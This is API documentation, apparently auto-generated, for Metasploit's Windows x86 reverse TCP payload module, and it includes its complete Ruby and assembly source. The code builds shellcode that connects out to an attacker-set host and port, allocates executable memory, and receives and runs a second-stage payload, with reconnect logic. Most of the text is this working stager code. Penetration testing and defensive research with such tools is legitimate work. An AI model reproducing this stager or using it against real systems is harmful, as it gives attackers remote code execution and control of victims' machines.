Module: Msf::Payload::Windows::ReverseTcp

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Included in:
ReverseTcpDns, ReverseTcpRc4, ReverseUdp
Defined in:
lib/msf/core/payload/windows/reverse_tcp.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_block_recv(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :reliable (Bool)

    Whether or not to enable error handling code


231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 231

def asm_block_recv(opts={})
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      push 0                  ; flags
      push 4                  ; length = sizeof( DWORD );
      push esi                ; the 4 byte buffer on the stack to hold the second stage length
      push edi                ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]          ; dereference the pointer to the second stage length
      push 0x40               ; PAGE_EXECUTE_READWRITE
      push 0x1000             ; MEM_COMMIT
      push esi                ; push the newly recieved second stage length.
      push 0                  ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax           ; ebx = our new memory address for the new stage
      push ebx                ; push the address of the new stage so we can return into it

    read_more:
      push 0                  ; flags
      push esi                ; length
      push ebx                ; the current address into our second stage's RWX buffer
      push edi                ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp                ; recv( s, buffer, length, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jge read_successful

      ; something failed, free up memory
      pop eax                 ; get the address of the payload
      push 0x4000             ; dwFreeType (MEM_DECOMMIT)
      push 0                  ; dwSize
      push eax                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

    cleanup_socket:
      ; clear up the socket
      push edi                ; socket handle
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call ebp                ; closesocket(socket)

      ; restore the stack back to the connection retry count
      pop esi
      pop esi
      dec [esp]               ; decrement the counter

      ; try again
      jnz create_socket
      jmp failure
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, eax            ; buffer += bytes_received
      sub esi, eax            ; length -= bytes_received, will set flags
      jnz read_more           ; continue if we have more to read
      ret                     ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Integer)

    Number of retry attempts


109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 109

def asm_reverse_tcp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

  addr_fam      = 2
  sockaddr_size = 16

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_tcp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      mov eax, ebp
      call eax                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
      sub esp, eax            ; alloc some space for the WSAData structure
      push esp                ; push a pointer to this stuct
      push eax                ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp                ; WSAStartup( 0x0190, &WSAData );

    set_address:
      push #{retry_count}     ; retry counter

    create_socket:
      push #{encoded_host}    ; host in little-endian format
      push #{encoded_port}    ; family AF_INET and port number
      mov esi, esp            ; save pointer to sockaddr struct

      push eax                ; if we succeed, eax will be zero, push zero for the flags param.
      push eax                ; push null for reserved parameter
      push eax                ; we do not specify a WSAPROTOCOL_INFO structure
      push eax                ; we do not specify a protocol
      inc eax                 ;
      push eax                ; push SOCK_STREAM
      inc eax                 ;
      push eax                ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax           ; save the socket for later, don't care about the value of eax after this
  ^
  # Check if a bind port was specified
  if opts[:bind_port]
    bind_port    = opts[:bind_port]
    encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
    asm << %Q^
      xor eax, eax
      push 11
      pop ecx
      push_0_loop:
      push eax               ; if we succeed, eax will be zero, push it enough times
                             ; to cater for both IPv4 and IPv6
      loop push_0_loop

                       ; bind to 0.0.0.0/[::], pushed above
      push #{encoded_bind_port}   ; family AF_INET and port number
      mov esi, esp           ; save a pointer to sockaddr_in struct
      push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
      push esi               ; pointer to the sockaddr_in struct
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
      call ebp               ; bind( s, &sockaddr_in, 16 );
      push #{encoded_host}    ; host in little-endian format
      push #{encoded_port}    ; family AF_INET and port number
      mov esi, esp
    ^
  end

  asm << %Q^
    try_connect:
      push 16                 ; length of the sockaddr struct
      push esi                ; pointer to the sockaddr struct
      push edi                ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp                ; connect( s, &sockaddr, 16 );

      test eax,eax            ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec dword [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this  lable is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#generate(opts = {}) ⇒ Object

Generate the first stage


36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 36

def generate(opts={})
  ds = opts[:datastore] || datastore
  conf = {
    port:        ds['LPORT'],
    host:        ds['LHOST'],
    retry_count: ds['ReverseConnectRetries'],
    bind_port:   ds['PayloadBindPort'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = ds['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager


70
71
72
73
74
75
76
77
78
79
80
81
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 70

def generate_reverse_tcp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


59
60
61
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 59

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse tcp specific options


28
29
30
31
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 28

def initialize(*args)
  super
  register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class)
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 86

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
  space += 29

  # Reliability adds some bytes!
  space += 44

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


63
64
65
# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 63

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end